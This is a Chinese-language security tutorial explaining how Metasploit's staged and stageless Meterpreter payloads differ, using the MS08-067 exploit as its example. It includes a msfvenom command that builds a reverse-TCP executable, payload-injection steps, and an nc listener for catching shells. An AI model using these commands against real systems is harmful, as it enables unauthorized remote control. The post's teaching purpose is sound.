探寻Metasploit Payload模式背后的秘密

admin 2022年4月22日22:12:08评论31 views字数 3591阅读11分58秒阅读模式

探寻Metasploit Payload模式背后的秘密

前言

你们是否发现msf的payload中,经常会看见一对对长得特别像的兄弟?

我第一次学习metasploit的时候,可能和大家的开场方式一样,试用08067的漏洞来攻击一台windows xp获取一个meterpreter shell。那个时候几乎没怎么变过的使用reverse_tcp连接,但是有一天…


payload/windows/x64/meterpreter/reverse_tcp                               normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager  payload/windows/x64/meterpreter_reverse_tcp                               normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64


我发现了一对双胞胎,他们长得几乎一模一样,但是我从来没有见过别人使用他的另一个小兄弟,所以这篇文章,我就想和大家聊聊metasploit payload模式背后的秘密。


我们就以这个常用的meterpreter reverse_tcp来举例,其实这两个payload的区别从官方介绍上的话,我们可以发现两个比较重要的词语来阐述他们的不同inlinestager,其实,用metasploit官方的说法来说,他们第一个payload属于stage模式,第二个payload属于stageless模式,那他们之间具体有什么区别呢?


我们还是使用经典的08067来介绍,下面是我们的模块配置信息:

Stage


msf5 exploit(windows/smb/ms08_067_netapi) > show options   Module options (exploit/windows/smb/ms08_067_netapi):     Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOSTS   192.168.1.2      yes       The target address range or CIDR identifier    RPORT    445              yes       The SMB service port (TCP)    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  Payload options (windows/meterpreter/reverse_tcp):     Name      Current Setting  Required  Description    ----      ---------------  --------  -----------    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)    LHOST     0.0.0.0          yes       The listen address (an interface may be specified)    LPORT     4444             yes       The listen port  Exploit target:     Id  Name    --  ----   0   Automatic Targeting


探寻Metasploit Payload模式背后的秘密


当我们使用metasplit的ms08_067_netapi模块之后,使用payload/windows/meterpreter/reverse_tcp模块,并开启一个multi/handler连接监听着我们本机的4444端口,有了解过缓冲区溢出的同学可能都知道,攻击者会利用软件的某个缺陷来传输一段很长的shellcode来溢出目标的缓冲区,从而控制EIP指针来跳转到我们的shellcode上,执行我们的代码,但是这段shellcode并不能过长,shellcode过长,可能会导致覆盖到了上一函数栈帧的数据,导致异常的发生。所以像我们攻击者最希望就是生成一段短小精悍的shellcode啦。


探寻Metasploit Payload模式背后的秘密


像这张图,我们攻击机像目标靶机发送了一段shellcode,并覆盖了EIP,导致程序执行的时候跳回shellcode的开头,从而控制程序的执行情况,执行我们的恶意代码,这段恶意代码就只要干两件事,第一件事就是向内存申请开辟一块空间,第二件事就是回连我们的4444端口,这段shellcode为我们干的事情就好像是一个前排冲锋的战士,打开城墙的大门好让更多的精兵冲进来。我们称这段shellcode为stage0,也就是第一阶段


探寻Metasploit Payload模式背后的秘密


这时,我们的攻击机,已经开始监听4444端口了,只要连接一成功,就会把meterpreter shell最核心的dll文件发送到靶机上


探寻Metasploit Payload模式背后的秘密


我们之前说过,当靶机运行了我们的shellcode,会在内存里面开辟一块土地,这个地方就是为我们的metsrv留的,metsrv.dll这个文件是meterpreter的核心主件,有了他,我们才能获取到一个meterpreter shell,当metsrv传输成功之后,shellcode就会把控制权转给metsrv,metsrv这时再去请求另外两个dll文件stdapi和priv。这个时候我们一般就会看到一个让人振奋的提示:


msf5 exploit(windows/smb/ms08_067_netapi) > run [*] Sending stage (206403 bytes) to 10.73.151.75[*] Starting interaction with 1...  meterpreter >


探寻Metasploit Payload模式背后的秘密


Stageless

现在我们知道了meterpreter/reverse_tcp是分阶段的shellcode,并且他分阶段的原因是因为在溢出攻击的时候shellcode应该尽可能保持得更短,这个时候理解他小兄弟meterpreter_reverse_tcp就方便的多,和meterpreter/reverse_tcp不同的是,他的小兄弟meterpreter_reverse_tcp是一个不分阶段的payload,我们称之为stageless(unstage),他在生成的时候就已经将我们获取一个meterpreter必须要用的stdapi已经包含在其中了。那这又有什么好处呢?试想一下,如果我们通过层层的代理,在内网进行漫游,这个时候使用分阶段的payload如果网络传输出现了问题,metsrv.dll没有加载过去,可能就会错失一个shell,stageless的payload会让人放心不少


默认的stageless payload只会包含stageless,所以如果想将stdapi和priv两个组建给包含进去的华我们可以用extensions命令:


msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.16.52.1 LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe

Another Thing

分阶段的payload,我们必须使用exploit/multi/handler这个模块使用,但是当我们想回弹一个基础的shell的时候,其实可以使用nc来监听端口直接回连到nc上,为了测试方便,我直接在已获得session的机器中,注入新的payload来测试:

Target:


use exploit/windows/local/payload_injectset payload windows/shell_reverse_tcpset sessions 1set DisablePayloadHandler True (这个设置是让msf不监听端口) run  root:~# nc -nvpl 4444


探寻Metasploit Payload模式背后的秘密


当有时获取到了root权限,想反弹linux shell的时候,这时meterprter的需求就不是那么高了,我们就可以使用shell_reverse_tcp(或者是bind)来生成一个stageless的bash脚本,直接使用nc来接受shell

课后作业:

1.在生成一个windows/shell_reverse_tcp的时候,是否需要指定EXTENSIONS=stdapi,priv?

2.meterpreter_reverse_tcp是否可以不用exploit/multi/hander模块,直接用nc来监听获取?

3.在你只有一个windows的反弹shell的时候,反悔想使用meterpreter的shell了,有什么办法来获取呢?


探寻Metasploit Payload模式背后的秘密


本文始发于微信公众号(疯猫网络):探寻Metasploit Payload模式背后的秘密

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日22:12:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   探寻Metasploit Payload模式背后的秘密https://cn-sec.com/archives/514228.html

发表评论

匿名网友 填写信息